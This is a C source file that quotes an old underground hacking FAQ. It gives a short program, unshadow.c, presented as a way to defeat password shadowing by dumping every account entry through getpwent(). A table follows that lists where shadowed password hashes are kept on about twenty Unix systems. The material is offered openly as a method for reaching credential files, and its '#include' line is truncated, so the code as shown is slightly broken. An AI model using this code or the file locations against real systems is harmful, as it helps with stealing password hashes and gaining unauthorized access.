/* * From: http://www-personal.engin.umich.edu/~jgotts/underground/hack-faq.html * * 03. What is password shadowing? * * Password shadowing is a security system where the encrypted password * field of /etc/passwd is replaced with a special token and the encrypted * password is stored in a separate file which is not readable by normal * system users. * * To defeat password shadowing on many (but not all) systems, write a * program that uses successive calls to getpwent() to obtain the password file * * Example: unshadow.c */ #include main() { struct passwd *p; while(p=getpwent()) printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd, p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell); } /* 04. Where can I find the password file if it's shadowed? Unix Path Token ----------------------------------------------------------------- AIX 3 /etc/security/passwd ! or /tcb/auth/files// A/UX 3.0s /tcb/files/auth/?/* BSD4.3-Reno /etc/master.passwd * ConvexOS 10 /etc/shadpw * ConvexOS 11 /etc/shadow * DG/UX /etc/tcb/aa/user/ * EP/IX /etc/shadow x HP-UX /.secure/etc/passwd * IRIX 5 /etc/shadow x Linux 1.1 /etc/shadow * OSF/1 /etc/passwd[.dir|.pag] * SCO Unix #.2.x /tcb/auth/files// SunOS4.1+c2 /etc/security/passwd.adjunct ##username SunOS 5.0 /etc/shadow System V Release 4.0 /etc/shadow x System V Release 4.2 /etc/security/* database Ultrix 4 /etc/auth[.dir|.pag] * UNICOS /etc/udb * */